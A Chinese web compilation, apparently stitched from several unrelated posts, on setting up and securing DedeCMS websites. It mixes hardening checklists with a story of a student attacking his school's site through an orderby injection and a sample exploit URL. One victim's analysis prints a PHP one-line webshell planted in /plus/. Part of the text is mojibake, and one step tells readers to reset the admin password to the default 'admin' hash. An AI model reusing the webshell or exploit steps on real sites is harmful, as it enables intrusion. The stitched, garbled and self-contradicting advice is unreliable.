新手用织梦（dedecms）建站如何做好安全措施

织梦网站的建站的一般步骤，用自己的话简要说明下

1、要有虚拟主机、mysql数据库和域名

2、上传dedecms程序到虚拟主机根目录,安装dedecms,安装过程中需要填写数据库账户、密码等信息。

3、安装dedecms后,就需要调试dedecms模板了。

织梦站总结篇,小编将会把整个仿站的思路进行理清并讲解:

1服务器准备

如果是学习测试,小编建议:使用本地软件模拟即可。下载phpstudy在本地搭建环境,模拟服务器环境,需要修改步骤:

1找到phpstudy下相应的WWW下的网站目录文件设置

2打开apache和MySQL(可以设置相应的版本)

3数据库的密码账号设计,即可打开网站

2准备采集器

下载需要模仿的网站的资料(css\js\img\html等),放在设置的WWW下的文件里

3织梦标签生成器

下载一个织梦标签生成器,也可以使用在线版

4准备一个网页html编辑器

进行网页代码的修改,修改的部分也是比较少的,最主要的是嵌入织梦的后台调用数据代码

5到织梦官网下载一个基础后台

6安装织梦模板,安装地址:www域名/install

7修改相关的模板文件页面,类似于:\\list_等网页

最后修改完成,记得生成;注意文件的备份

1、找到目标网站,分析一下结构

2、用工具将需要仿的页面down下来,包括html文件和和css以及js文件等等

3、用dreamweaver编辑html文件,将织梦模板特有的标签套用进去

4、标签都替换好之后,将其替换到织梦的模板文件中

5、模板都做好之后,后台生成下静态文件,就ok了。

如何避免网站被入侵？

1、Dedecms程序，用不到的功能，建议删除或者禁用。

这是入侵的重点，比如没有删除install文件夹，或者没有更改默认的后台登陆路径，还有就是会员注册用不着，但是也没有禁用等等。后台程序不是为你的网站量身定做的，是需要我们进一步修改完善的。

2、网站密码在长度和复杂性方面都要加强。

3、每天必按时查友链。

4、加强电脑的安全，不要在不安全的电脑上使用密码。

避免网站被入侵需要我们及早的发现问题，加强自查。安全工作不是一蹴而就的事，需要我们及时的升级更新，同时也要加强防范的意识，做到防患于未然！

1、data、templets、uploads、a这几个文件设置为可读不可执行权限。a文件保存的是默认的html文件看，可以在后台修改。

2、include、member、plus、dede设置为可读可执行不可写入权限。dede文件夹修改别的名字，这是后台默认登录地址后缀名，用过的织梦的都知道，所以改了吧。

3、如果你的网站没有没有会员登录，专题。可以删掉member、special这两个目录。

4、安装完织梦程序之后，删掉安装的文件install。

5、织梦后台登陆默认登录账号密码都是admin，不要以为把dede文件夹名称改了就以为防患于未然了，一定要做到位。

6、Mysql数据库链接，不使用root用户，单独建立新用户，并给予：SELECT、INSERT、UPDATE、DELETE、CREATE、DROP、INDEX、ALTER、CREATE TEMPORARY TABLES权限。

7、定期进行备份网站目录和数据库，并在后台进行文件校验、病毒扫描、系统错误修复。万一哪天我们的站被黑了，清空了，还能再上传到服务器，完好无损。

8、plus目录删除 ，可以安装一些安全插件。如果是做企业网站用不到会员登录，专题。可以删掉member、special这两个目录。

建议最好还是经常性备份网站,这样才是最安全的。

1、修改后台目录：安装好网站之后第一步就应该修改后台目录，把默认的dede随意改成其他名字，最好是MD5加密形式的；（一般的普通用户不会使用md5加密，那就把后台目录改得复杂一点吧，只要自己知道就行了）

2、设置复杂的后台密码：密码应该由大写字母、小写字母和数字组成；（后台密码想多复杂就改多复杂，最好用个记事本记着，太复杂的密码容易忘，特别是企业网站用户，长时间不更新网站密码就忘了织梦者也是深有体会的呀）

3、安装的时候数据库的表前缀最好改一下，不用dedecms默认的前缀dede_,可以改成其他的名称如bdw_;（这一条您如果是找人做站的一定要提前知会建站的人把前缀改掉要不然用了默认的前缀，那到最后谁都头疼）

4、删除安装文件install：安装后应立即把install文件删除；（这个一定要删除）

5、不用会员系统，就把member整个文件夹全部；（一般的dedecms做的企业站是用不到member这个文件夹的删了吧）

6、用不到留言本，就把plus下的guestbook文件删除；（这里说的是用不到留言本

看清哦

企业站有很多用户都会要个留言本

）

7、不用下载功能，就把管理目录下的soft__xxx_xxxphp删除；（一般的企业站和文章类型的网站也用不到下载功能）

8、如果是使用HTML，可以把plus下的相应文件和根目录下的indexphp删除；（大家都喜欢生成静态的网站，搜索引擎也喜欢

所以还是删了吧）

9、不用专题功能可以把special文件夹删除；（专题大多数朋友都用不着）

10、用不到企业模块可以把company文件夹删除；（这个模块可以不要）

11、不用下载发布功能可以把管理目录下soft__xxx_xxxphp删除；（同第八条）

12、删除后台的文件式管理器：通过后台的文件式管理器，可以修改网站的任何文件，为了安全，建议把管理目录下file_manage_xxxphp删除；（嗯

织梦者一般都用这个功能改css

删了吧

黑客很厉害的）

13、如果不需要SQL命令运行器的可以把管理目录下的sys_sql_queryphp删除；（这个可以通过sql命令改任何东西的哦

不会用sql的删）

14、另外一些用不到的文件都删除，还可以把数据库里面不用的表删除掉；（建议对dedecms比较熟悉的客户便用）

15、保持更新，及时打补丁。（这是必须的）

上面是一些常用的防攻击方法，最好的办法是定期备份，并把备份文件下载到电脑安全的地方保存好，网站如果被攻击，把空间里面的文件全部删除，上传备份文件即可。

开学了，返校了，又在宿舍上网了，但现在的校园网安全吗暑假中，DeDeCMS系统曝出了严重的漏洞，这个系统在很多学校的校园网中存在，黑客利用该漏洞就可以控制校园网，进行挂马、嵌入病毒……不过校园网中不乏电脑高手，下面我们就来看看“红帽”同学对自己学校网站的开学安全检测。

我的网名叫“红帽”，我猜每一个大学校园里，都有像我这样的一号人，我们对电脑充分的了解，面对互联网海洋时，就如同游泳池中的菲尔普斯一样。无论你需要找到什么东西，只要它存在于互联网之中，或者在互联网中生活过一段时间，我都能够帮助你找到源头，或者帮你把你感兴趣的东西弄到手。你猜对了，我就是黑客，活跃在校园里面的黑客。

我自认为算是高手，帮同学从别的黑客手里**回被窃的账号，在网吧让一个讨厌鬼不停的更换电脑，也曾经尝试着入侵NASA的计算机网络。

这段日子正是开学的日子，我准备对我的学校网站进行了一次安全检测。或许你要问，为什么要对自己学校的网站进行安全检测我们学校用了DeDeCMS系统(中文名称是织梦内容管理系统)，这个系统在很多学校中被使用。

博弈主题：攻击DeDeCMS整站系统

技术难度：★★★★

重点知识：如何用新的DeDeCMS漏洞来入侵

DeDeCMS系统被很多学校使用并不能让我产生检测自己学校的网站的念头，真正让我产生这个念头的原因是这个系统最近曝出了严重的漏洞，不知道网管补上该漏洞没有，如果没有补上，大家回校后上校园网就危险了。

DeDeCMS身藏URL编码漏洞

这次DeDeCMS新出的漏洞是一个URL编解码漏洞，导致漏洞出现的原因是DeDeCMS的设计者在joblistphp、guestbook_adminphp等文件中对orderby参数未做过滤。黑客可以利用这些漏洞查询数据库的敏感信息，例如管理员密码、加密key等，一旦这些敏感资料被黑客掌握，要在校园网内挂马就是轻而易举的事情了，真危险。

小知识：编码是将源对象内容按照一种标准转换为一种标准格式内容。解码是和编码对应的，它使用和编码相同的标准将编码内容还原为最初的对象内容。编解码的目的最初是为了加密信息，经过加密的内容不知道编码标准的人很难识别。

实战入侵

既然知道了漏洞的成因，下面就来亲手检测一下。目前有两种方案可以实现DeDeCMS整站系统的入侵，一种是PHP脚本的入侵方案，采用这种方案，需要先在自己的本机调试好PHP解析环境，然后登录入侵的目标网站，在PHP环境中运行漏洞测试代码。不过这种方案实行起来相对复杂，因此我使用第二种进行检测，通过漏洞检测注入程序直接注入。

首先，登录学校的网站。然后打开《DeDeCMS漏洞注入检测程序》，点击“Target

Infomation”标签选项，在“URL”一项后面将寻找到的有DeDeCMS系统漏洞的网址复制粘贴到地址输入框，这里利用DeDeCMS的网站路径地址“/include/htmledit/indexphp”得到网站的物理路径。

在登录系统之后，复制浏览器地址栏中的网站路径，例如[url=http://wwwhackercom/dedecms5/include/htmledit/indexphpmodetype=basic&height[]=chinaren]http://wwwhackercom/dedecms5/include/htmledit/indexphpmodetype=basic&height[]=chinaren[/url]，然后复制粘贴提交测试，粘贴完成后点击“Check”按钮，测试网站是否符合条件

这个问题要从多个方面看：

一、外观上框架上是一样，是没什么问题的；因为布局无非那些类别；

二、如果你用了人家网站的专有（打了公司名或域名之类水印的），这样子就有侵权嫌疑；

三、网站前端一般分，文字内容，样式，和JS等，这几方面相同，也有侵权嫌疑；

四、人家有网站底部一般有版权所有，违者必究等等类似字样的描述文字的话，最好不要模仿，以免真被人告侵权。

五、因人而异，有些公司为了扩大影响力和推广度，人家还巴不得引用他家的或内容，一是可以增加外链，二是可以带来一定流量。

六、猪八戒防站服务，是要求卖家自已负责，它本站是不负责的。所以一般讲，它是不负这个责任的，更是不能负责，以免纠纷太多，引起麻烦，得不尝失，所以就叫卖家或买家自行负责。这样会减去很多不必要的麻烦。但一旦有纠纷上升到法律层次，本人认为：猪八戒网站是有一定责任的；

�谌莺苌伲�赡苄慈氲氖焙虿皇呛芊奖悖�还�庑┐�氲淖饔萌肥挡恍〉摹�edecms一直是很火的建站cms，主要得益于两大站长网的鼎力支持；不过，人火是非多，cms太火了同样会被别有用心的人盯上。我的网站一直在使用dedecms，前段时间又一次受到攻击，攻击的目的很简单，那么便是黑链，知道后稍微修改下代码就恢复了，不是很严重；这段时间网站又被莫名上传文件，类似前一次，虽然对方还没来得及修改网站模板，不过这说明网站安全防患还未到位，对方任何时候都可能再次取得管理员权限，所以要特别注意网站的安全防患措施。因为我比较喜欢寻根究底，所以就去网上找了一下相关的资料，发现这确实是dedecms的漏洞，黑客可以利用多维的变量绕过正则检测，漏洞主要发生在/plus/mytag_jsphp中，原理便是准备一个MySQL数据库来攻击已知网站的数据库，通过向数据库中写入一句话的代码，只要成功写入，那么以后便可以利用这些代码来获得后台管理员权限。结合我的网站被攻击已经别人类似的经历来看，黑客写入的文件主要存在于/plus/文件夹下，目前已知的几个文件包括gaphp、logphp、bphp、b1php等，文件的特征便是短小，内容很少，可能写入的时候不是很方便，不过这些代码的作用确实不小的。下面这是gaphp文件中的部分代码：<title>login</title>no<phpeval($_POST[1])><title>login</title>no<phpeval($_POST[1])><title>login</title>no<phpeval($_POST[1])>实际的代码比上面截取的要长，不过都是这段代码的重复，至于logphp的代码，同这个类似，只有一句话，简单明了，如果你对网络安全稍有了解，那么会知道<php eval($_POST[1]);>是php一句话木马，使用部分指定的工具可以执行这段代码，预计是破解密码的功能。既然已经知道对方是利用什么样的漏洞，同时知道对方利用什么样的原理来利用漏洞，那么要怎么预防这些危险的事发生呢？经过查询大量的资料，我初步整理出下面这些预防漏洞被利用的步骤，希望对同样适用dedecms的站长朋友们有所帮助。一、升级版本打好补丁设置目录权限这是官方对此的解决办法，不管你使用的是什么版本的dedecms，都要及时在后台升级版本自动更新补丁，这是避免漏洞被利用的最重要的一步；同时官方还提供设置目录的方法，主要是设置data、templets、uploads、a为可读写不可执行权限；include、member、plus、后台管理目录等设置为可执行可读不可写入权限；删除install及special目录，具体如何设置见官方说明。二、修改admin账号及密码黑客可能是利用默认admin账号，随后推测密码来破解的，所以修改默认的admin账号非常重要，至于如何修改，方法很多，比较有效的是用phpadmin登陆网站数据库，找到dede_admin数据库表（dede是数据库表前缀），修改其中userid及pwd两项，其中密码一定要修改成f297a57a5a743894a0e4，这是默认的密码admin；修改后去后台登陆，登陆dede后台后修改密码。三、别的值得注意的地方至于更多的细节，同样要注意，尽量别选择太廉价的空间，太廉价的空间很容易出现服务器本身的安全问题，只要服务器出现问题，整个服务器下面的网站都没救了。还有便是，如果没必要，尽量别开通会员注册什么的，使用起来很麻烦；至于网站后台目录，不要写到robotstxt里面，同时每个月至少换一次，管理员密码什么的同样要更换，避免和别的账号密码相同被推测出来。

第一，服务器安全。我 们大部分站长都是用的虚拟主机，有些人说这我们没有办法去选择和解决，我认为这个还是可以解决的。我们在购买主机的时候，可以试用几天，一般主机商都是可 以提供试用服务的，也或者要求主机商提供销售主机的IP给我们，我们可以通过同IP网站以及相关网站来分析目前服务器中的网站安全情况，如果你发现很多网站都被挂有黑链接，那说明服务器安全有一定的问题，选择的时候慎重考虑。

第二，程序的安全设置。我们需要根据织梦官方的设置要求，不要开放所有文件及文件夹的读写权限，有些文件夹设置

为只读状态，如果我们紧紧是用来做内容系统，而不让会员参与，我们可以删除MEMBER文件夹，因为很多安全都是通过会员的提权出现的。以及我们在程序安

装完毕后，要删除install文件夹，在设置数据库密码以及账户密码的时候尽量复杂一些，采用数字，大小写字母，以及字符混合作为密码。网站后台路径把

默认的DEDE修改成其他不容易猜测的。

第三，及时升级补丁。作为织梦官网，升级也是经常在做的，我们在登陆网站后台的时候，如果看到有升级提醒，需要及时升级文件，以防止因为没有升级造成漏洞入侵。一般常见的安全，官网会第一时间发现，并且提供补丁，这点如果我们及时做到，从网站角度考虑是没有问题的。

第四，密码设置安全。不论是我们网站的密码还是数据库密码，或者是FTP登陆密码，我们都需要设置安全一些。一个主机商朋友告诉我，最近出了一款什么FTP密码扫描软件，可以直接扫出弱密码，直接通过管理员登陆修改网站。

第五，定期数据备份。关于网站的安全，备份肯定每个人都知道，每个人也都会去备份。可能开始做网站的时候还会认

真定期备份，后面时间长了就忘记了，也懒得备份。等待网站出现问题

就后悔为什么没有备份。所以定期备份数据是任何网站都必须做的，比仅仅是DEDECMS，一般最好半个月或者一个月备份一次，根据自己网站数据和重要性。

有些主机商会帮助我们备份，比如一周备份一次，也有每天同步备份的，这就相当不错了。

以上5点建议，是我认为有效防止DEDECMS被入侵的5个有效方法，希望对大家有一个参考价值。